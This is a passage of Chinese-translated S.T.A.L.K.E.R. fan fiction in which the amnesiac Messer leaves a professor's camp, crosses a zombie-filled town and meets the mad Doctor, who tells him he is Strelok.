蓬头发的实验室助理高兴地告诉了梅塞尔这一切,副教授此时正吧唧着嘴吃着梅塞尔(更确切地说,是已故的乌鸦眼)的罐头,只是偶尔随声附和。而教授则完全不理会他们,他正盯着显微镜看什么,不时高兴地搓手,在笔记本里记着什么,还时不时咯咯笑。梅塞尔坚定地确信,教授的自然科学知识正慢慢克服普通的理性,也就是说,此刻他已经完全疯了。

副教授吃完了炖肉,打了个嗝,对梅塞尔眨了眨眼,宣布:

“好了,现在可以工作了!”

梅塞尔最终得出结论,除了他,这里还算正常的大概只有实验室助理了。

“还有一个绰号记者的小伙子来过我们这儿,”实验室助理咧嘴笑道。“他痴迷于某种国际阴谋的想法。总在小声说什么全球化主义者,还扯上了什么孩子……”

“没提到史特烈洛克吗?”梅塞尔小心地问。

“史特烈洛克是另一个话题,”实验室助理哼了一声。“据说他和特异区骑士们不合,他们把他整惨了。”

“特异区骑士又是什么?”梅塞尔激动起来。

“据说有这么一些人,”实验室助理瞥了副教授一眼,低声说,“但没人确切知道。好像有一个这样的骑士团。他们试图维持‘现状’。他们也被称为特异区天使。他们保护着中心,从那里对特异区的整个生命进行总体控制……”


原则上,经历了原罪团之后,这里简直是度假胜地。虽然主人在神智正常方面令人生疑,但他们的疯狂对梅塞尔来说更亲切、更亲近。也许在“前世”他也是个科学家?

安全装置万无一失。梅塞尔看到它轻松地对付了一只试图全速穿过帐篷的变异野猪。巨大的躯体腾空而起,爆裂开来,落在地上已是十几块烤得很好的碎片。副教授立刻收集起来,用什么东西处理了一下,当作晚餐端上。味道还不错,尽管变种的某些部分令人作呕。

梅塞尔甚至融入了他们疯狂的生活节奏。睡到中午,然后半天闲聊天,到晚上突然燃起科学活动的渴望(译者注:md 这个作息怎么跟我一样)。原来,正是在副教授的指导下,实验室助理组装了安全系统。梅塞尔惊讶地得知,它甚至可以防御自动步枪的扫射,所以他第一次见面时想向实验室助理开枪的疯狂念头对梅塞尔不会有好结果,而实验室助理没冒任何风险,他的问题是有道理的。潜行者们经常来这里,用神器换酒精。

教授正忙着研究地质因素对心理的影响(真是的,医生(译者注:一词多义吗),先治治自己吧!)。特异区在这方面是宝库。不仅如此,它还产生新的因素!例如,黑石。

“黑石怎么了?”梅塞尔小心地问,一边用刀小心地戳起一块烤野猪肉。

“不,我当然确信,它恰恰就是最真实的神器,”教授坚信地说,“也就是不存在的东西。但是!原则上,它的存在并不违背我的关于复杂地质因素相互作用的假设,这些因素综合起来获得了全新的属性,几乎不可能根据组成系统的对象的属性来预测……实验室助理,给我和副教授倒一小口酒精!”

梅塞尔忍不住问:
“您相信黑石能实现愿望吗?”

“看你怎么看这个问题,年轻人,”教授狡猾地眯起眼睛,“很久以前,我在一个著名的控制问题研究所工作,那里有一个不起眼的实验室……实际上,您对我们从外部世界感知信息了解多少?”

“您是指特异区外的世界?”

“不过您很无知,年轻人。不,我所说的外部世界是指人外部的世界,不同于他的内心世界。虽然在某种意义上,这可以和特异区比较。那么,您凭什么确信,您所看到和感觉到的一切真的在发生,您的感知符合周围的现实,而不是由这周围的现实所诱导的?再给我倒点!例如,僵尸——您认为他们看到的世界和您一样吗?”

“我想不一样,”梅塞尔不确定地小声说。

“那么幸福呢?你们谁更幸福?顺便说一句,这附近有一个小镇,那里只住着僵尸。那么实现愿望呢?谁的愿望系统和现实感知(我应该说,诠释!)处于更和谐的联系中?”

“我……”梅塞尔结巴了,“我……不知道。”

“就这样,”教授笑了,“您慢慢地变成了科学家。为此我们干杯!总的来说,您应该和疯狂医生谈谈。更何况我听说,年轻人,您有一些记忆问题。”

“您呢?”梅塞尔忍不住问。

此前基本上没有参与谈话、只顾埋头吃烤野猪的副教授(实验室助理也敬畏地沉默着,但原因不同——只是怕把酒精洒出铝杯)满意地哼了一声:
“我跟您说过,教授,这小伙子不简单!”

教授的脸突然皱了起来,显得苍老了许多:
“我们都以这种或那种形式试图忘记与强烈负面情绪、压力有关的一切……否则,人无法在我们的环境中生存。而如果压力很大……有时整个民族都会彻底忘记自己的历史……也许这是地质因素的全球影响……或全球化主义者……”

教授低下头,然后……打起了鼾。

“老头不行了!”实验室助理哼了一声。

“嘘!”副教授吼道,站起来,抱起教授,带到另一个帐篷里。


“你还是要走,”实验室助理真心地难过。“尽管老头拒绝给你他关于疯狂之风的周期性的记录。”

梅塞尔望着北方。从那边某个地方,不时涌来一波辐射,使潜行者的“大脑沸腾”。它有一定的周期性。如果径直往北走,一定会走到其中一个辐射源,然后……那里见分晓。一道小山脊挡住了去路。得向西偏离……或者还是先到沼泽去找疯狂医生?

“你别生他的气,他几乎一辈子都待在这里,在特异区。特异区对他就像……”实验室助理顿了一下,找不到合适的形容词。他自己可能一生都在特异区度过。而没有走出特异区,怎么能拿什么来比喻特异区呢?只能和特异区比。

“我没生气。我这里有一些文件。我在原罪团的巢穴里拿的。也许你们用得着。我需要知道的一切我已经知道,而缺少的用来补全画面的东西,它们里面也没有。交给教授吧。我该走了。”

“也许,至少再住一晚……最后?”

“好吧,”梅塞尔心不在焉地点点头。“黎明时……”


夜里他睡得不好。和往常一样,做了梦……

……突然觉得自己是某个可怕实验的参与者。和任何实验对象一样,他对实验者的目标不感兴趣。

他唯一剩下的就是逃跑。不管去哪,为什么!因为只要他在跑,他就在活。但一旦中断这令人疲惫的奔跑——那里……黑暗……

他突然醒来。他觉得自己听到了熟悉的声音。他睁着眼睛躺着,试图回想那是什么声音。

副教授和实验室助理走进帐篷。副教授手里拿着一些纸张。两人脸色苍白,有点孤苦伶仃。

“发生了什么事?”梅塞尔坐起来。

“你必须离开,”副教授嘶哑地小声说。

为什么这么突然的变化?

“这儿给你……教授……留下了,”副教授把文件塞到梅塞尔手里,转过身去。

“但发生了什么?”

“你必须离开,”副教授低沉地重复。“那里在文件里……关于疯狂之风。”他沉默了一会儿,然后恶毒地低声说:“但愿这信息对你来说,就像你的文件夹对教授一样致命。”

副教授头也不回地走出了帐篷,梅塞尔这才明白,把他吵醒的熟悉声音是枪声。

“你知道,”实验室助理几乎抱怨地喃喃说,“没人料到你的文件对老头会产生那样的印象……他留了一张纸条:‘我想起了一切!把疯狂之风的周期性图表给梅塞尔。他必须走!’”——实验室助理突然抽泣起来,然后喊道:“你必须走!!!”

他也跳出帐篷。

“再见!”梅塞尔平静地对着他的背说。


梅塞尔向西走去,他还没有决定具体往哪儿走。让慢慢苏醒的记忆自己引领他穿过迷宫,去寻找……他的弥诺陶洛斯。


16. 第9层。第一座城市。记者。

记忆选择了一座城市。

……被巨大的土堤围着,它像一个疲惫的、恶狠狠的士兵,警惕地从胸墙后面窥视着,准备击退任何突然的袭击。虽然,这个印象可能是欺骗性的,仅仅是缓慢地平线后面巨大的暗红色球体赋予每一个物体的令人不安的色调的结果。落日:这个比喻现在显得超现实。

那人阴沉地缩了缩身子。他走了很多天才走到这个城市。路途艰辛,有时似乎目标不值得花费的力量和金钱。城市仿佛在嘲笑,出现在偶然听到的故事甚至短语中,就在附近。但随即消失,只要那人转身面向那个顺便提到城市的人。城市按照只有它自己知道的规则与他玩着恶意的捉迷藏。那人有时开始觉得,根本没有什么城市,从来就没有过。但他仍然不停地走,仿佛周围的空间借用了时间的特征——不可逆转的向前运动,而在这个奇怪的系统中,人自己只被分配了参考点的角色,时间本身和获得了超现实主义移动自由的世界从他身边滑过。

而现在他在这里。身后是日子和人。太多的人,那人走向城市的路上遇到的人,花了很多天,他早就不记得数目了,也完全不记得他是在哪一天在选定的路上迈出第一步的。他也不记得那些人,至少大多数。面孔像万花筒一样混合在一起。在较晚阶段遇到的人身上,他模糊地认出那些很久以前、在最初就与他错过的人的特征。然后疏离感来了。他在旅途结束时遇到的人,他不再视为客观现实。一切都混合了:过去、现在、曾经的和想象的;现实和幻想的虚幻世界。似乎随着时间的推移,清晰和对所发生的事更深刻的认识应该会到来。但没有!周围的世界突然变得摇摆不定和不可预测。仿佛现实真的只是他发炎想象力的投射。还是世界的色彩变得暗淡,所谓不可动摇的存在法则失去了最初的刚性?

越来越多的人发现时间是不均匀的。它只是他自己生命活动的一个函数。在某个美好的时刻,他突然意识到,为什么所有穿越到过去的尝试都失败了。过去是无数交织在一起的小尾巴——触手,依附于一个共同的身体——人类。在某个特定时间之前,每一个对应于大整体中一个细胞的小尾巴都在生长和延长,但某个时刻到了,这个生长进入了下一个独特的阶段。这种成长变得类似于恒星的成长,恒星通过随机吸引较小的形成物来增加质量——但是,突然,发生了质变,恒星变成了黑洞。坍缩开始了!现在所有试图穿透坍缩现实的尝试都是徒劳的。

那人缩了缩身子。毕竟,所有这些存在主义的玩意儿现在都不应该再困扰他了。他走到了。剩下的只是找到土堤上的门,或者翻过它。那人抖掉麻木,开始沿着土堤走,把已经触到地面下缘的巨大暗红色球体抛在身后。

在他前面的地上,快速地滑过一个长长的丑陋的影子,不自然地尖锐——一个所谓的“人-矛”。那人匆匆想到,他自己变得像这个影子。他也同样尖锐地指向未来,滑行着,不知道障碍。同时意识到,这种运动是被迫的,他只是一些未知过程的影子,驱赶他穿过空间和时间。也许影子是他,那个人的,未来?它笔直而近乎无限,它稍微转向一边,变得更短。而它已经贴到了脚边……

那人明白他绕着城市走到了周长的一半。

难道发生得这么快?

太阳,现在应该照在那人脸上,已经完全隐没在地平线以下。再过几分钟,黑暗将成为这片领地的全权主人……

那人偶然找到了门,沿着土堤摸索着前行。城市上方不愿流淌的微弱荧光只加剧了这里无依无靠的感觉。

“那里有什么在等着我?”那人想着,小心地用手摸着金属小门的抛光表面,它更像是一个下水道井盖。也许所有关于城市的传说都是虚张声势?

小门生锈地吱呀一声,轻松地屈服于他不自信的手的用力。

看到城市,然后死去!

那人不自觉地闭上了眼睛,好像害怕被假想的壮丽景象致盲,那景象应该在土堤后面迎接他。不睁开眼睛,那人无助地微笑着,感受着城市平静而自信的呼吸在他脸上。

然后,抛开所有的怀疑,他果断地睁开了眼睛……

……然后死了。

而在城市的另一端,在一栋不起眼的房子里,一个刚出生的男孩哭了起来。


记忆选择了一座城市……

那些对教授如此致命的文件,让梅塞尔几乎无动于衷。

关于实验室供应和“黑石”项目的文件。关于在第9号实验室进行的言语影响感官知觉的实验的文件……

那么,黑石在那里?

那又怎样?什么能让教授如此震惊?也许他的过去与特异区的过去如此紧密地交织在一起,一个小小的提及、一个词就足以让记忆的扳机被触发,而记忆又驱动了按下另一个扳机的手。不管怎样——教授死了。而他的记忆呢?

……有个小镇,传言说僵尸占据了它。而僵尸是从特异区深处某处走出来的……

梅塞尔自己的幻象很真实,但他不能清楚地说出,哪些是受损记忆的碎片,哪些属于非常遥远的过去,哪些只是普通的噩梦……


梅塞尔站在一座小山上。面前是一座城市。而奇迹般的是,里面住着人!

但仔细一看,梅塞尔意识到那不是人。僵尸在城市里漫无目的、无可奈何地游荡……

……一个潜行者走在僵尸群中的街道上,问他们什么,记下他们小声说的话:“记者好人……记者不会欺负我们……”

梅塞尔疯狂地摇了摇头,驱散幻觉的残余。难道他以前也来过这里?难道这个噩梦没有在他的记忆中留下更清晰的痕迹?也许他的梦就是最真实的痕迹?也许根本没有什么特异区。这只是一场游戏!他再走几步,幻觉就会消失,他会发现自己身处……城市……

梅塞尔走了几步——是的,他确实在城市里。

而周围是僵尸!这里有数以百计。有些冷漠地在街道上闲逛,有些坐在门口,靠在门框上。他们都有一个共同点——眼睛中的无限空虚。

梅塞尔小心地走近一个僵尸,他软绵绵地瘫在一栋破旧房子的门槛上。房子的门几乎从铰链上脱落,玻璃被打碎。梅塞尔试图捕捉僵尸浑浊、闪烁的目光。

“他在睡觉还是怎么?”梅塞尔弯得更低,突然,一股奇怪的浪潮涌向他,窒息而吞没一切。

异样意识的浪潮……

……僵尸坐在一栋空旷废弃房子的门槛上,这房子与其他许多房子没什么区别。僵尸不记得他是谁,何时、如何来到这里。他把城市视为理所当然。他喜欢在空旷的街道上闲逛,看一楼窗户。总是干净透明,没有一丝灰尘的迹象。奇怪的是,无论僵尸进入哪个房间,都没有任何灰尘的痕迹。

公寓各不相同:有小的有大的,陈设简陋的和塞满家具的;有些像古董博物馆,而另一些所有的内饰都是能量场团模拟的。

但城市里所有房间有一件事是共同的——无菌。无论是这个词的直接意义,还是比喻意义。

僵尸可以发誓,城市里只有一个居民。而那个居民就是他自己,僵尸。

他为什么不离开?为什么要在空旷的街道上闲逛,仅凭自己的出现就向这个防腐和夸张卫生的王国引入不和谐?

僵尸伸出双腿,背靠在白天被太阳晒暖的混凝土上。

房子,像一个活的生物,几乎听不见地吱吱作响和呻吟。在其内部的某个地方,各种声音诞生:地板吱呀,风拍打窗板,屋顶天线叮当作响。

城市不是死的,它只是孤独的,就像僵尸一样。

僵尸喜欢在宽敞空旷的街道迷宫中漫无目的地游荡,为自己发现越来越多的新区块。也许,僵尸潜意识里仍然希望偶然碰到一些能打破常规生活、给他与城市的关系带来新元素的东西。

或者,这是对某种完全不同感觉的致敬。因为僵尸有时觉得,城市只有在他存在的时候才存在。只要他闭上眼睛,城市就会溶解。只剩下声音,如果僵尸让城市长时间无人看管,声音也会慢慢消失。因此,僵尸尽量少睡觉,甚至少眨眼。而早上醒来时,他试图猛地睁开眼睛,以便捕捉城市再次殷勤地在他周围占据惯常位置的那一刻。

只有一次发生了一个可能从根本上改变一切的事件。事情发生的那天,僵尸像往常一样走在街上,进行日常巡查。他始终不明白是什么让他走进了那栋房子。它与其他房子没什么区别。也许只是所有窗户上漂亮而坚固的装饰格栅。僵尸自信地穿过房子,来到应该是厨房的房间。从冰箱里拿出一瓶牛奶,喝了一大口。然后他的目光落在了水槽上。僵尸惊讶得咳嗽起来。水槽里放着脏盘子!一个盘子,一个叉子和一个杯子。

这太不寻常了,僵尸不自觉地后退,无意识地想离开这栋房子。在门厅,他碰到了衣架,衣架砰地倒在地上。然后从房子深处传来一个受惊的女声:

“谁在那儿?”

僵尸匆忙冲到街上,锁上了门。

“谁在那儿?开门!谁在那儿?回答!!!”

那个声音无情地撕破寂静,扭曲着周围的景色。房子的轮廓变得摇摆不定。僵尸甚至觉得,再稍微一下,整个城市就会颤抖着化为尘土,落在他脚下。然后僵尸跑了。有段时间他还听到那个声音,但已听不清话语。

僵尸知道,当他再次来到城市的这个区域时,房子会是空的。因为城市连灰尘都受不了,总是努力在自己的领土上保持无菌的洁净。

僵尸叹了口气。尽管这个恼人的误会是很久以前发生的,令人不快的后遗症仍时不时地打破他沉思的宁静。但僵尸相信,随着时间的推移,这后遗症会变成灰尘……然后消失得无影无踪。

僵尸站起来,伸了个懒腰,闭上眼睛一瞬,但立刻又匆忙睁开。城市还在原位。平静而闪闪发光。坚不可摧。

到了晚上,疲劳占了上风。僵尸选择了一栋陈设朴素但雅致的房子,惬意地伸开他劳累了一天的腿……

“……还是怎么?”梅塞尔颤抖了一下,醒了过来。更准确地说,慢慢地从异样的意识中浮出来。

“天哪,谁能想到,这个不幸的人心里竟沸腾着这样的激情……教授可能自己也没意识到他有多正确。幸好我有足够的力气挣脱……”

但梅塞尔在自欺欺人。不是他挣脱了,而是僵尸的意识放开了他。僵尸只是死了。

“那又怎样?我跟他有什么相干?天黑了,而我还有很长的路要走!”

他目标明确的奔跑,据称有目标作为理由,难道不像僵尸的生活吗?他跑向哪里,为什么?或者他只是在某人手中的一个傀儡,被无情地驱赶通过一个试验场,而周围的一切都是由某个特别精巧的脚本预先决定的?

“看来,我的状态表明,我该去看望疯狂医生了,”梅塞尔在城里徘徊,有时走进房子。大多数公寓是空的,有些门关着。但不像僵尸的幻象,这里无菌的味道一点也没有。地下室显然被老鼠占领了。难道梅塞尔的意识如此“堵塞”,以至于他只看到周围的肮脏?

……越靠近地面,楼梯间看起来越脏。在散布的粪泥和半干的血坑中,可以看到任何东西:从用过的安全套到被踩碎的儿童玩具。在三楼和四楼之间的楼梯平台上有一具尸体,下一层还有一具……

一句话,这座城市与僵尸回忆中的城市毫无共同之处。也许教授在这点上也对?实际上城市是同一个,但僵尸和梅塞尔看到它完全不同的方式?

梅塞尔感觉到大风暴的临近。僵尸变得焦躁不安。他们跑进房子,又立刻跑出来,好像惊慌地寻找自己的家,却记不得路。

突然,他们的行为改变了,他们静止了一会儿,然后都转向了梅塞尔的方向。在渐浓的暮色中,像同一面具的脸上,眼睛不真实地闪着光。

“我见过类似的东西……”

梅塞尔冲向最近的入口,疯狂地寻找一个可以从里面锁上门的公寓。

他勉强来得及砰地关上门,把一个旧的大衣柜推过去,外面就有人压在了门上。门在很多身体的压力下颤动着,但撑住了。在几乎是完全的黑暗中摸索着,梅塞尔在其中一个房间里发现了一张大写字桌,也把它推到了门边。最可怕的是,门那边没有传来一句话,人群沉默地行动着,这终于使梅塞尔的情感冷漠外壳破裂了,他——也许是在特异区的第一次——感到了恐惧。使他恐惧的不是可能死亡的事实本身,而是他会被这疯狂的非人人群踩死。

……电动绞肉机的形象,一个人体被卷进其无情的叶片。他甚至可以清晰地听到骨头磨碎的声音,他没有马上明白……

……公寓里他不是一个人。厨房里传来狗啃骨头的声音!瞎狗?

梅塞尔冲向厨房。在窗户的背景下,他清晰地看到一个人影。僵尸?

然后大风暴覆盖了他们。


“醒过来了?”

梅塞尔坐在厨房的地板上。窗外是灰色的黎明。灰色的破墙。窗台上一个灰色的人。

“你跑得真厉害!”陌生人高兴地说,然后……咯吱咯吱地嚼起来。

梅塞尔感到可怕的饥饿。像大风暴后总是如此。

“看来你对我们这儿还不熟。我叫尾巴。想吃压缩饼干吗?”

“想。”

“我和弟兄们是老住户。我们的总部在西郊。我一感觉到大风暴临近,就钻进了洞里。大风暴前僵尸会失去对自己的控制——变得野兽般!但平时他们还不错,如果你喂他们,他们还会带些有用的东西。当地的变种几乎不碰他们,而狗就像放羊一样放他们,保护他们免受掠食者的侵害,把他们从各地赶进城。”

梅塞尔机械地嚼着饼干,试图弄清这个人在胡说什么。他现在几乎对什么都不感兴趣,只是……

“你满意这里的生活吗?”

“什么?”

“你喜欢住在特异区吗?”

“当然!你自己想想——这里是福地,而我们是选民……”

梅塞尔已经后悔问了这个问题。他站起来,抖掉连体服上的面包屑,不看“选民”地问:

“你们城里有摄像头吗?”

“什么?啊,那些玻璃球。有啊,不知为何僵尸特别恨它们,而我和弟兄们……”

“当兵的常来这儿吗?”

他的对话者阴沉起来:
“有时来。他们不知为何受不了僵尸。不过,僵尸也以牙还牙。”

“明白了。”

“你真奇怪,”尾巴小声说道,“我试图跟你解释,我们是……”

“你最好告诉我,你们的饼干从哪来?特异区有面包房吗?你们从事农业吗?这里全是废墟,一切都毁了,而仍在运转的东西,生产着天知道什么!”

“你真奇怪,”尾巴重复道,“但如果你想通了,我们在西郊,那里有我们的总部,墙上写着‘自由’。这就是我们!好了,再见!”

“他也有他自己的城市,”梅塞尔苦涩地想,“而他也是僵尸!就像我!”

但尾巴有一点是对的:城市的生活恢复了正常轨道。僵尸们试图处理日常生活中的普通事务,而在普遍的荒诞背景下,这恰恰看起来像是真正的疯狂。

受某种更像是逆反心理而非直觉的感觉驱使,梅塞尔请一个僵尸吃了肉罐头。

“……你善良,”那人不清楚地说,“你像记者……”

梅塞尔颤抖了一下:
“记者?”

“记者……孩子……找……风……头疼……”

“孩子?”

“……找……在特异区……特异区的孩子……风……”

“风?”

“风……头……记者好人……”

无法得到更多信息。

到达西北郊时,梅塞尔目睹了一幕可怕的场景。从北方某处,大约五十个僵尸朝城市走来。突然,从城市方向,一队十五个左右的军人,散开成散兵线,向他们移动。然后他们开火了。

“真是福地,”梅塞尔苦涩地想。这时他看到另一组人正朝军人的后方移动。梅塞尔通过瞄准镜仔细看了看,认出了其中一个是雪貂。交火开始了。幸存的僵尸在远处耐心地跺着脚。两只瞎狗在他们周围忙碌。然后军人突然撤退。枪声停止,僵尸再次涌向城市。

也许,现在是去沼泽找医生的时候了。


17. 第10层。沼泽。医生。

……一个巨大的沼泽地。而这一切都堆满了尸体。它们散落在泥坑和草墩之间,好像所有人都被同一个可怕的梦笼罩;被一簇簇的雾覆盖着,它们似乎是景观的自然延续,无论这听起来多么亵渎神明。它们中间,一个孤独的人穿着巨大的不成形的长袍,光着头,小心地翻动着这个尸体,那个尸体……这一个似乎有生命迹象。穿长袍的人在他旁边跪下,从包里拿出手术刀,划开他连体服的袖子。手臂上纹着“S.T.A.L.K.E.R.”(潜行者)。医生淡然一笑,把半死不活的潜行者扛上肩膀,走了……

……梅塞尔若有所思地看着自己的右手:这该死的纹身是什么意思?也许梦里的这位医生能回答一些问题?在这些疯狂的梦和幻象中,哪里是真实,哪里是幻象?也许是失去的记忆在叩击他,在他封闭的意识中寻找缝隙却找不到?或者是现实在试图冲进他的意识?而周围的一切,只是“垂死僵尸的胡言乱语”。

沼泽和梦里一样。无边无际,雾气弥漫。几个小时前,又一次大风暴肆虐过了。梅塞尔甚至没来得及找到像样的藏身之处。就那么蜷在沼泽中央。

“不,我会彻底死在这片沼泽里!子弹、火、牙齿没能做到的,沼泽会完成(……四周是沼泽!只有沼泽!……那个草墩已经变得很小了——随时可能咕嘟掉!……)”,梅塞尔茫然地转动着头,估摸着该往哪迈步而不“咕嘟”掉,但他敏锐的听觉捕捉到一种完全不自然的声音。就在附近,有人在自己鼻子底下哼着一首简单的小曲。当然,除非这不是又一次半梦半醒的谵妄。

但雾中已经可以分辨出一个模糊的轮廓,高个子,瘦,白发蓬乱……

“医生!”梅塞尔向他迈出一步,定住了。在医生的脚边,从雾中冒出一只切尔诺贝利狗。

“别紧张,刻耳柏洛斯,别紧张,”医生亲切地说,拍了拍狗的脖子。“而您,年轻人,放下步枪,他不喜欢有武器对着他。”

“医生,您知不知道……”

“我知道,但您知道吗?去吧,刻耳柏洛斯!随便走走!”医生把狗推到一边,紧挨着梅塞尔,眯着浅色的眼睛。“等等,等等,让我看看您……果然如此!”

“您知道我是谁?”梅塞尔没抱太大希望地问。“别说关于梅塞尔的传言也传到了您那里。”

“什么梅塞尔,我不知道什么梅塞尔。但我自己的工作我总能认出来。耳后的这道疤不痒不疼吗?”

“我只有一个地方又痒又疼——我的记忆。更确切地说,我的失忆……”

“嗯,在黑石之后就该如此……”

“去它的黑石!!!医生,您知道我是谁?!”

“当然。以前大家都叫你史特烈洛克。”

“什么?!!!”

“史-特-烈-洛-克!我说得清楚吗?”

“是的,”前梅塞尔,现在的史特烈洛克低声说,无助地坐在一个水坑里。新的突如其来的负担太重了。


其余的一切,史特烈洛克像透过雾幕一样感知,这雾幕从外部渗入他的意识,减弱了感知。

他麻木地跟在医生后面在沼泽里走着,努力自动地脚印踩脚印。他只看到飘动的长袍下摆和医生的靴子,它们自信地在只有他自己知道的土丘和草墩上行走,这些草墩没有从他脚下狡猾地滑走……

从雾中浮现出一间木屋。它是怎么跑到这儿来的,哪个疯子在这儿建的?……

史特烈洛克甚至没有被在木屋里忙着挥舞扫帚的僵尸震惊,僵尸和狗一样,高兴地凑到医生跟前让他抚弄……

大量的设备和医疗器械从意识中滑过,几乎没有留下痕迹。但史特烈洛克看到了手术台,障碍崩溃了,记忆涌入了意识……

……冷。

……淡蓝色的表面,有细细的纹理……

……完全赤裸,俯卧着,鼻子贴在大理石板上……

……明目张胆无耻的排血槽。

……他在太平间……

……意识怯懦地关闭了。史特烈洛克晃了一下,整个人直挺挺地倒在地板上。

医生同情地眨了眨淡白色的眼睛,平静地对僵尸说:

“把他放在桌子上。他得带着他的新发现睡一觉……”

……一座巨大的建筑,在夕阳天空的衬托下呈黑色,像一块巨石……黑石。一个潜行者,衣衫褴褛,筋疲力尽,用最后一点力气向黑石走去,他伸出颤抖的双手……一道明亮的闪光使他痉挛地闭上眼睛。然后,第一个梦又来了,但在意识中像倒放的电影一样播放。

潜行者,我们看到了他的脸。一声撕心裂肺的喊叫:“史特烈洛克!”——使潜行者转向车站,潜行者“射击”,将火焰的闪光吸入颤抖的枪管,老鼠向后跑去,消失在电站建筑内。一道火柱从天而降,刺入电站内部。细节淹没在半明半暗之中……

……原子能电站的庞大身躯像黑色巨石耸立在灰暗天空的背景下……

……又有人在自己鼻子底下哼着简单的曲子。史特烈洛克睁开眼睛,躺了一会儿,试图习惯这巨大的反差。木屋腐烂的原木和闪烁的显示屏,肮脏开裂的窗户玻璃和闪闪发光的铬制仪器玻璃架,僵尸可怕的脸和医生几乎孩子气的纯净面容。

医生正在摆弄他的仪器,像一个好脾气的乡村医生。在特异区无尽的噩梦背景下,这看起来更加荒诞。

“啊,醒了,”医生笑了,走近他不情愿的病人。史特烈洛克惊恐地感觉到身下手术台的冰冷,他曾经已经躺在上面过。

“好了,好了,你是个勇敢的人,你在特异区已经有了传说,”医生好脾气地笑着,伸出了手。

史特烈洛克蜷缩起来,他仿佛看到这些干净手指上的血。但他克服了自己,让医生帮他下了桌子。

“我们马上喝茶,特异区里形成了这么一种草,能像用手一样消除疲劳,”医生欢快地叽叽喳喳,忙着处理各种烧瓶和酒精灯。“餐具,是有点特别,但别担心,都是无菌的。”

史特烈洛克几乎没听疯狂医生的小声说。几天前(或几周?几个月?几年?)他做过的那个梦清晰地浮现在眼前:

……桌上的人,盖着布单。布单下露出赤裸的腿和一只手。手上纹着“S.T.A.L.K.E.R.”(潜行者)。周围同样的桌子,上面躺着尸体。两个穿白大褂的人走进来,脸上蒙着纱布口罩。其中一个掀开布单看了看说:“史特烈洛克打完了仗”……

现在他明白了,那不是梦,是记忆在敲他被锁住的门,现在门开了。

但因此更好吗?而且这扇门后面不过是另一扇门。

“也许‘记者’这个名字您也熟悉?”新出炉的史特烈洛克阴郁地问,期待着答案,预见到它,又害怕它。

“嗯,你看,”医生若有所思地打量了史特烈洛克一眼,“我会回答你这个问题,但……稍晚一点。”

僵尸冷漠地在墙边跺着脚。他的眼睛是空洞的,但现在史特烈洛克知道,在这面具后面可以沸腾怎样的激情。

“伟大的克里,您大概也认识吧?”

医生变得阴沉:
“看来你也去过那些……罪人们那儿。灰兄弟们过得怎么样?”

“已经不行了。他们不在了。”

“他们以前也没真正活过,”疯狂医生小声说道。

“您不后悔……从碎片把我拼起来?”

“别说什么碎片!你身上确实没有一块好的地方,但如果你以为我把你从两个不同的人的部分拼起来,那你错了!不过,当然,我也能做到那样。”

“我是谁?我在哪?”

“我们还是先喝茶吧,然后我试着讲我所知道的。”


根据医生的说法,曾经有一个叫史特烈洛克的潜行者。关于他,从一开始就有传说,说他来自外部世界。尽管他自己不喜欢谈论这个。

至于特异区……它处理记忆的方式有点特殊。也许它只是鞭策了人们与生俱来的忘记不愉快的过去的倾向。

但疯狂医生与特异区融合得如此之深,以至于特异区现在对他特别对待。特异区不仅接纳了他,而且像对待心爱的孩子一样,允许他各种小小的自由。特别是,医生记得比大多数特异区居民多得多。例如,他知道僵尸从哪里来。奇怪的是,大部分僵尸不是由脑波怪甚至RD装置提供的。僵尸从北方的某个地方走来,在RD装置的力场屏障后面应该还有另一个城市。也许那正是史特烈洛克最初来自的外部世界。但更可能是另一个城市。医生模糊地记得,曾经,他、教授以及后来被称为伟大克里的人,也来自城市!但它在哪,什么样,以及他们为什么来特异区?特异区是什么?

特异区——它就是特异区。它的结构……就像它被构建的那样。

而史特烈洛克痴迷于了解特异区是如何运作的。他设法去了那个僵尸走出的城市。而附近,据传说,应该就是黑石。但有些事情不顺利,他不知怎么碰上了特异区天使们,原罪派的“叔伯们”,他们的“侄子”给他们提鞋都不配。一天黎明,僵尸把史特烈洛克的残余带到了医生家门口。医生真的几乎是从碎片把他拼起来的。而史特烈洛克又固执地往北走了(“……第一次见到这么固执的人,总想一次又一次地踩同一个耙子!”)。那时史特烈洛克已经知道关于黑石的传说,甚至知道它是空间隧道(或时间隧道)的说法。因为所有去那里的人都没有回来。如果不算僵尸的话。毕竟不可能所有人都死了。虽然在特异区,什么事都有可能。这里什么都能发生。

然后特异区里传开了,史特烈洛克坐着死亡卡车回来了,现在肯定知道黑石的真相。远非所有人都相信他完全不记得。医生曾几次检查过死亡卡车运送的东西。潜行者的尸体被某种可怕的东西处理过。意识肯定也经历了类似的事情,这甚至可以通过改变后的大脑结构来判断,但在实践中无法证实,死亡卡车之所以叫死亡卡车,是因为至今里面只发现过死人。

至于记者……他很奇怪,寻找什么特别的东西。特别是,他是少数相信特异区之子传说的人之一。他确实在两人都陷入困境之前见过史特烈洛克。每个人,自然,都陷入了自己的困境,但似乎记者运气更差。很可能,在原罪团巢穴里被钉死的就是记者。而且,记者不知在哪里成功挖出了一些据说关于记忆的文件。一些特别的实验。正是记者在特异区散布了某些信息标记。他相信这些标记会在某个时刻帮助史特烈洛克到达黑石。

而医生不相信黑石。更确切地说,相信,但不完全相信。但他相信特异区的许多其他奇迹。

尽管信息相当详细,史特烈洛克并不感到满足。他仍然只是逐渐了解到他以前做过什么、找过什么、想要什么。完全不清楚他为什么这样做以及为什么。而更深的过去仍然……更确切地说,好像根本不存在!

因此,此刻史特烈洛克只有一条路:向北。


疯狂医生把他送到沼泽边缘。然后发生了一件事。有一刻,从雾中浮出一张灰色的脸,吐出一个长满吸盘的触手。史特烈洛克自动反应:步枪、扳机、射击。而医生呢……他跪在抽搐着临终痉挛的吸血鬼面前。轻轻地把手直接放在它龇牙咧嘴的脸上。

“你不该这样,”医生轻声说。

吸血鬼立刻安静下来,伤口里的血也停止了喷涌。

“每个人,当然,有他自己的路,”医生不看着史特烈洛克说,“但是……”

他没有说完句子,史特烈洛克始终没明白他想说什么,但现在他清楚地明白了为什么医生被称为“疯狂”。

但他的路已在召唤,史特烈洛克向北走去。

起初他很想回头看,但很快压制了这个愿望。


18. 第11层。RD精神影响装置。

